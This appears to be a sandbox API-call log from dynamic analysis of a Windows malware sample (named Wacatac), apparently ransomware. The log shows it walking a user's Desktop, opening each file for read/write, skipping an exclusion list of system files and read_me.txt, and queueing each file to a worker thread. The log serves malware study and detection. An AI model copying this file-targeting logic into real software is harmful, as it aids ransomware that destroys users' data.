returned 1 [0078.610] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64c10550, ftCreationTime.dwHighDateTime=0x1d4cfa2, ftLastAccessTime.dwLowDateTime=0x499c8160, ftLastAccessTime.dwHighDateTime=0x1d4c81c, ftLastWriteTime.dwLowDateTime=0x499c8160, ftLastWriteTime.dwHighDateTime=0x1d4c81c, nFileSizeHigh=0x0, nFileSizeLow=0x89d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j2KXC8yB_u.avi", cAlternateFileName="J2KXC8~1.AVI")) returned 1 [0078.610] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j2KXC8yB_u.avi") returned 56 [0078.610] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j2KXC8yB_u.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j2kxc8yb_u.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0078.611] StrStrW (lpFirst="j2kxc8yb_u.avi", lpSrch="read_me.txt") returned 0x0 [0078.611] StrStrW (lpFirst="j2kxc8yb_u.avi", lpSrch="autoexec.bat") returned 0x0 [0078.611] StrStrW (lpFirst="j2kxc8yb_u.avi", lpSrch="desktop.ini") returned 0x0 [0078.611] StrStrW (lpFirst="j2kxc8yb_u.avi", lpSrch="autorun.inf") returned 0x0 [0078.611] StrStrW (lpFirst="j2kxc8yb_u.avi", lpSrch="ntuser.dat") returned 0x0 [0078.611] StrStrW (lpFirst="j2kxc8yb_u.avi", lpSrch="iconcache.db") returned 0x0 [0078.611] StrStrW (lpFirst="j2kxc8yb_u.avi", lpSrch="bootsect.bak") returned 0x0 [0078.611] StrStrW (lpFirst="j2kxc8yb_u.avi", lpSrch="boot.ini") returned 0x0 [0078.611] StrStrW (lpFirst="j2kxc8yb_u.avi", lpSrch="ntuser.dat.log") returned 0x0 [0078.611] StrStrW (lpFirst="j2kxc8yb_u.avi", lpSrch="thumbs.db") returned 0x0 [0078.611] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 19 [0078.611] QueueUserWorkItem (Function=0x404e00, Context=0x798, Flags=0x0) returned 1 [0078.611] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c744b90, ftCreationTime.dwHighDateTime=0x1d4d204, ftLastAccessTime.dwLowDateTime=0xb4623270, ftLastAccessTime.dwHighDateTime=0x1d4cf73, ftLastWriteTime.dwLowDateTime=0xb4623270, ftLastWriteTime.dwHighDateTime=0x1d4cf73, nFileSizeHigh=0x0, nFileSizeLow=0x10e81, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MIV306n.swf", cAlternateFileName="")) returned 1 [0078.611] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIV306n.swf") returned 53 [0078.611] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIV306n.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\miv306n.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78c [0078.611] StrStrW (lpFirst="miv306n.swf", lpSrch="read_me.txt") returned 0x0 [0078.611] StrStrW (lpFirst="miv306n.swf", lpSrch="autoexec.bat") returned 0x0 [0078.611] StrStrW (lpFirst="miv306n.swf", lpSrch="desktop.ini") returned 0x0 [0078.612] StrStrW (lpFirst="miv306n.swf", lpSrch="autorun.inf") returned 0x0 [0078.612] StrStrW (lpFirst="miv306n.swf", lpSrch="ntuser.dat") returned 0x0 [0078.612] StrStrW (lpFirst="miv306n.swf", lpSrch="iconcache.db") returned 0x0 [0078.612] StrStrW (lpFirst="miv306n.swf", lpSrch="bootsect.bak") returned 0x0 [0078.612] StrStrW (lpFirst="miv306n.swf", lpSrch="boot.ini") returned 0x0 [0078.612] StrStrW (lpFirst="miv306n.swf", lpSrch="ntuser.dat.log") returned 0x0 [0078.612] StrStrW (lpFirst="miv306n.swf", lpSrch="thumbs.db") returned 0x0 [0078.612] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 20 [0078.612] QueueUserWorkItem (Function=0x404e00, Context=0x78c, Flags=0x0) returned 1 [0078.612] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5355e30, ftCreationTime.dwHighDateTime=0x1d4cfb9, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p8UL_ERV", cAlternateFileName="")) returned 1 [0078.612] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV") returned 50 [0078.612] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccd9be90, ftCreationTime.dwHighDateTime=0x1d4c681, ftLastAccessTime.dwLowDateTime=0x77d78ae0, ftLastAccessTime.dwHighDateTime=0x1d4d33c, ftLastWriteTime.dwLowDateTime=0x77d78ae0, ftLastWriteTime.dwHighDateTime=0x1d4d33c, nFileSizeHigh=0x0, nFileSizeLow=0xc282, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pnye5nZ9l4wV-tQ3X.doc", cAlternateFileName="PNYE5N~1.DOC")) returned 1 [0078.612] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pnye5nZ9l4wV-tQ3X.doc") returned 63 [0078.612] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pnye5nZ9l4wV-tQ3X.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnye5nz9l4wv-tq3x.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a0 [0078.612] StrStrW (lpFirst="pnye5nz9l4wv-tq3x.doc", lpSrch="read_me.txt") returned 0x0 [0078.612] StrStrW (lpFirst="pnye5nz9l4wv-tq3x.doc", lpSrch="autoexec.bat") returned 0x0 [0078.612] StrStrW (lpFirst="pnye5nz9l4wv-tq3x.doc", lpSrch="desktop.ini") returned 0x0 [0078.612] StrStrW (lpFirst="pnye5nz9l4wv-tq3x.doc", lpSrch="autorun.inf") returned 0x0 [0078.612] StrStrW (lpFirst="pnye5nz9l4wv-tq3x.doc", lpSrch="ntuser.dat") returned 0x0 [0078.613] StrStrW (lpFirst="pnye5nz9l4wv-tq3x.doc", lpSrch="iconcache.db") returned 0x0 [0078.613] StrStrW (lpFirst="pnye5nz9l4wv-tq3x.doc", lpSrch="bootsect.bak") returned 0x0 [0078.613] StrStrW (lpFirst="pnye5nz9l4wv-tq3x.doc", lpSrch="boot.ini") returned 0x0 [0078.613] StrStrW (lpFirst="pnye5nz9l4wv-tq3x.doc", lpSrch="ntuser.dat.log") returned 0x0 [0078.613] StrStrW (lpFirst="pnye5nz9l4wv-tq3x.doc", lpSrch="thumbs.db") returned 0x0 [0078.613] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 21 [0078.613] QueueUserWorkItem (Function=0x404e00, Context=0x7a0, Flags=0x0) returned 1 [0078.613] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a56700, ftCreationTime.dwHighDateTime=0x1d4c874, ftLastAccessTime.dwLowDateTime=0xd372b350, ftLastAccessTime.dwHighDateTime=0x1d4cf06, ftLastWriteTime.dwLowDateTime=0xd372b350, ftLastWriteTime.dwHighDateTime=0x1d4cf06, nFileSizeHigh=0x0, nFileSizeLow=0x8954, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PsSqQXPorJBb9V0MC2R.m4a", cAlternateFileName="PSSQQX~1.M4A")) returned 1 [0078.613] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PsSqQXPorJBb9V0MC2R.m4a") returned 65 [0078.613] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PsSqQXPorJBb9V0MC2R.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pssqqxporjbb9v0mc2r.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7cc [0078.613] StrStrW (lpFirst="pssqqxporjbb9v0mc2r.m4a", lpSrch="read_me.txt") returned 0x0 [0078.613] StrStrW (lpFirst="pssqqxporjbb9v0mc2r.m4a", lpSrch="autoexec.bat") returned 0x0 [0078.613] StrStrW (lpFirst="pssqqxporjbb9v0mc2r.m4a", lpSrch="desktop.ini") returned 0x0 [0078.613] StrStrW (lpFirst="pssqqxporjbb9v0mc2r.m4a", lpSrch="autorun.inf") returned 0x0 [0078.613] StrStrW (lpFirst="pssqqxporjbb9v0mc2r.m4a", lpSrch="ntuser.dat") returned 0x0 [0078.613] StrStrW (lpFirst="pssqqxporjbb9v0mc2r.m4a", lpSrch="iconcache.db") returned 0x0 [0078.614] StrStrW (lpFirst="pssqqxporjbb9v0mc2r.m4a", lpSrch="bootsect.bak") returned 0x0 [0078.614] StrStrW (lpFirst="pssqqxporjbb9v0mc2r.m4a", lpSrch="boot.ini") returned 0x0 [0078.614] StrStrW (lpFirst="pssqqxporjbb9v0mc2r.m4a", lpSrch="ntuser.dat.log") returned 0x0 [0078.614] StrStrW (lpFirst="pssqqxporjbb9v0mc2r.m4a", lpSrch="thumbs.db") returned 0x0 [0078.614] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 22 [0078.614] QueueUserWorkItem (Function=0x404e00, Context=0x7cc, Flags=0x0) returned 1 [0078.614] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a06a9b0, ftCreationTime.dwHighDateTime=0x1d4d51a, ftLastAccessTime.dwLowDateTime=0xbf9e4d90, ftLastAccessTime.dwHighDateTime=0x1d4cc80, ftLastWriteTime.dwLowDateTime=0xbf9e4d90, ftLastWriteTime.dwHighDateTime=0x1d4cc80, nFileSizeHigh=0x0, nFileSizeLow=0x66b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qSRoVfo.png", cAlternateFileName="")) returned 1 [0078.614] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qSRoVfo.png") returned 53 [0078.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qSRoVfo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qsrovfo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d0 [0078.614] StrStrW (lpFirst="qsrovfo.png", lpSrch="read_me.txt") returned 0x0 [0078.614] StrStrW (lpFirst="qsrovfo.png", lpSrch="autoexec.bat") returned 0x0 [0078.614] StrStrW (lpFirst="qsrovfo.png", lpSrch="desktop.ini") returned 0x0 [0078.614] StrStrW (lpFirst="qsrovfo.png", lpSrch="autorun.inf") returned 0x0 [0078.614] StrStrW (lpFirst="qsrovfo.png", lpSrch="ntuser.dat") returned 0x0 [0078.614] StrStrW (lpFirst="qsrovfo.png", lpSrch="iconcache.db") returned 0x0 [0078.614] StrStrW (lpFirst="qsrovfo.png", lpSrch="bootsect.bak") returned 0x0 [0078.614] StrStrW (lpFirst="qsrovfo.png", lpSrch="boot.ini") returned 0x0 [0078.614] StrStrW (lpFirst="qsrovfo.png", lpSrch="ntuser.dat.log") returned 0x0 [0078.615] StrStrW (lpFirst="qsrovfo.png", lpSrch="thumbs.db") returned 0x0 [0078.615] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 23 [0078.615] QueueUserWorkItem (Function=0x404e00, Context=0x7d0, Flags=0x0) returned 1 [0078.615] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78dfe370, ftCreationTime.dwHighDateTime=0x1d4ceb8, ftLastAccessTime.dwLowDateTime=0xddac1530, ftLastAccessTime.dwHighDateTime=0x1d4d34a, ftLastWriteTime.dwLowDateTime=0xddac1530, ftLastWriteTime.dwHighDateTime=0x1d4d34a, nFileSizeHigh=0x0, nFileSizeLow=0x7dd2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QzPrIBJASF9Cr5iAba.m4a", cAlternateFileName="QZPRIB~1.M4A")) returned 1 [0078.615] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QzPrIBJASF9Cr5iAba.m4a") returned 64 [0078.615] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QzPrIBJASF9Cr5iAba.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qzpribjasf9cr5iaba.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d4 [0078.615] StrStrW (lpFirst="qzpribjasf9cr5iaba.m4a", lpSrch="read_me.txt") returned 0x0 [0078.615] StrStrW (lpFirst="qzpribjasf9cr5iaba.m4a", lpSrch="autoexec.bat") returned 0x0 [0078.615] StrStrW (lpFirst="qzpribjasf9cr5iaba.m4a", lpSrch="desktop.ini") returned 0x0 [0078.615] StrStrW (lpFirst="qzpribjasf9cr5iaba.m4a", lpSrch="autorun.inf") returned 0x0 [0078.615] StrStrW (lpFirst="qzpribjasf9cr5iaba.m4a", lpSrch="ntuser.dat") returned 0x0 [0078.615] StrStrW (lpFirst="qzpribjasf9cr5iaba.m4a", lpSrch="iconcache.db") returned 0x0 [0078.615] StrStrW (lpFirst="qzpribjasf9cr5iaba.m4a", lpSrch="bootsect.bak") returned 0x0 [0078.615] StrStrW (lpFirst="qzpribjasf9cr5iaba.m4a", lpSrch="boot.ini") returned 0x0 [0078.615] StrStrW (lpFirst="qzpribjasf9cr5iaba.m4a", lpSrch="ntuser.dat.log") returned 0x0 [0078.615] StrStrW (lpFirst="qzpribjasf9cr5iaba.m4a", lpSrch="thumbs.db") returned 0x0 [0078.615] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 24 [0078.615] QueueUserWorkItem (Function=0x404e00, Context=0x7d4, Flags=0x0) returned 1 [0078.615] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a9a99d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.615] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\read_me.txt") returned 53 [0078.615] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d8 [0078.616] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.616] CloseHandle (hObject=0x7d8) returned 1 [0078.616] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e0f01c0, ftCreationTime.dwHighDateTime=0x1d4c531, ftLastAccessTime.dwLowDateTime=0x3cbae3b0, ftLastAccessTime.dwHighDateTime=0x1d4d24e, ftLastWriteTime.dwLowDateTime=0x3cbae3b0, ftLastWriteTime.dwHighDateTime=0x1d4d24e, nFileSizeHigh=0x0, nFileSizeLow=0x13b56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rO8ki1jv-RPugrU.m4a", cAlternateFileName="RO8KI1~1.M4A")) returned 1 [0078.616] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rO8ki1jv-RPugrU.m4a") returned 61 [0078.616] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rO8ki1jv-RPugrU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ro8ki1jv-rpugru.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d8 [0078.616] StrStrW (lpFirst="ro8ki1jv-rpugru.m4a", lpSrch="read_me.txt") returned 0x0 [0078.616] StrStrW (lpFirst="ro8ki1jv-rpugru.m4a", lpSrch="autoexec.bat") returned 0x0 [0078.616] StrStrW (lpFirst="ro8ki1jv-rpugru.m4a", lpSrch="desktop.ini") returned 0x0 [0078.616] StrStrW (lpFirst="ro8ki1jv-rpugru.m4a", lpSrch="autorun.inf") returned 0x0 [0078.616] StrStrW (lpFirst="ro8ki1jv-rpugru.m4a", lpSrch="ntuser.dat") returned 0x0 [0078.616] StrStrW (lpFirst="ro8ki1jv-rpugru.m4a", lpSrch="iconcache.db") returned 0x0 [0078.616] StrStrW (lpFirst="ro8ki1jv-rpugru.m4a", lpSrch="bootsect.bak") returned 0x0 [0078.616] StrStrW (lpFirst="ro8ki1jv-rpugru.m4a", lpSrch="boot.ini") returned 0x0 [0078.616] StrStrW (lpFirst="ro8ki1jv-rpugru.m4a", lpSrch="ntuser.dat.log") returned 0x0 [0078.617] StrStrW (lpFirst="ro8ki1jv-rpugru.m4a", lpSrch="thumbs.db") returned 0x0 [0078.617] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 25 [0078.617] QueueUserWorkItem (Function=0x404e00, Context=0x7d8, Flags=0x0) returned 1 [0078.617] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8d9550, ftCreationTime.dwHighDateTime=0x1d4c976, ftLastAccessTime.dwLowDateTime=0x9a962b70, ftLastAccessTime.dwHighDateTime=0x1d4c5f1, ftLastWriteTime.dwLowDateTime=0x9a962b70, ftLastWriteTime.dwHighDateTime=0x1d4c5f1, nFileSizeHigh=0x0, nFileSizeLow=0x12447, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S7I6SDUlKGsonua.jpg", cAlternateFileName="S7I6SD~1.JPG")) returned 1 [0078.617] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S7I6SDUlKGsonua.jpg") returned 61 [0078.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S7I6SDUlKGsonua.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s7i6sdulkgsonua.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7dc [0078.617] StrStrW (lpFirst="s7i6sdulkgsonua.jpg", lpSrch="read_me.txt") returned 0x0 [0078.617] StrStrW (lpFirst="s7i6sdulkgsonua.jpg", lpSrch="autoexec.bat") returned 0x0 [0078.617] QueueUserWorkItem (Function=0x404e00, Context=0x7dc, Flags=0x0) returned 1 [0078.617] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17638ee0, ftCreationTime.dwHighDateTime=0x1d4d3bc, ftLastAccessTime.dwLowDateTime=0x22f4200, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0x22f4200, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x179aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uB8rE9MrCBxht_FVzzuD.jpg", cAlternateFileName="UB8RE9~1.JPG")) returned 1 [0078.617] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uB8rE9MrCBxht_FVzzuD.jpg") returned 66 [0078.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uB8rE9MrCBxht_FVzzuD.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ub8re9mrcbxht_fvzzud.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e0 [0078.617] QueueUserWorkItem (Function=0x404e00, Context=0x7e0, Flags=0x0) returned 1 [0078.617] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ee4f160, ftCreationTime.dwHighDateTime=0x1d4d2b0, ftLastAccessTime.dwLowDateTime=0xe591c0f0, ftLastAccessTime.dwHighDateTime=0x1d4ccf7, ftLastWriteTime.dwLowDateTime=0xe591c0f0, ftLastWriteTime.dwHighDateTime=0x1d4ccf7, nFileSizeHigh=0x0, nFileSizeLow=0x10c83, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UxB8lMaNHD.m4a", cAlternateFileName="UXB8LM~1.M4A")) returned 1 [0078.617] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UxB8lMaNHD.m4a") returned 56 [0078.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UxB8lMaNHD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uxb8lmanhd.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e4 [0078.617] QueueUserWorkItem (Function=0x404e00, Context=0x7e4, Flags=0x0) returned 1 [0078.617] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d8f080, ftCreationTime.dwHighDateTime=0x1d59fdc, ftLastAccessTime.dwLowDateTime=0xf3d8f080, ftLastAccessTime.dwHighDateTime=0x1d59fdc, ftLastWriteTime.dwLowDateTime=0xf20f2d00, ftLastWriteTime.dwHighDateTime=0x1d59fdc, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wacatac_2019-11-20_00-10.exe", cAlternateFileName="WACATA~1.EXE")) returned 1 [0078.617] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wacatac_2019-11-20_00-10.exe") returned 70 [0078.618] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wacatac_2019-11-20_00-10.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wacatac_2019-11-20_00-10.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.618] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c3ff810, ftCreationTime.dwHighDateTime=0x1d4d00f, ftLastAccessTime.dwLowDateTime=0x68354df0, ftLastAccessTime.dwHighDateTime=0x1d4c9e3, ftLastWriteTime.dwLowDateTime=0x68354df0, ftLastWriteTime.dwHighDateTime=0x1d4c9e3, nFileSizeHigh=0x0, nFileSizeLow=0x5409, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XMm2w2ACbzw.pps", cAlternateFileName="XMM2W2~1.PPS")) returned 1 [0078.618] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XMm2w2ACbzw.pps") returned 57 [0078.618] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XMm2w2ACbzw.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xmm2w2acbzw.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e8 [0078.618] QueueUserWorkItem (Function=0x404e00, Context=0x7e8, Flags=0x0) returned 1 [0078.618] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5edacd40, ftCreationTime.dwHighDateTime=0x1d4cc98, ftLastAccessTime.dwLowDateTime=0x177463f0, ftLastAccessTime.dwHighDateTime=0x1d4d0ec, ftLastWriteTime.dwLowDateTime=0x177463f0, ftLastWriteTime.dwHighDateTime=0x1d4d0ec, nFileSizeHigh=0x0, nFileSizeLow=0x13191, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YihTtz59EUrV.mkv", cAlternateFileName="YIHTTZ~1.MKV")) returned 1 [0078.618] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YihTtz59EUrV.mkv") returned 58 [0078.618] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YihTtz59EUrV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yihttz59eurv.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0078.618] QueueUserWorkItem (Function=0x404e00, Context=0x7ec, Flags=0x0) returned 1 [0078.618] 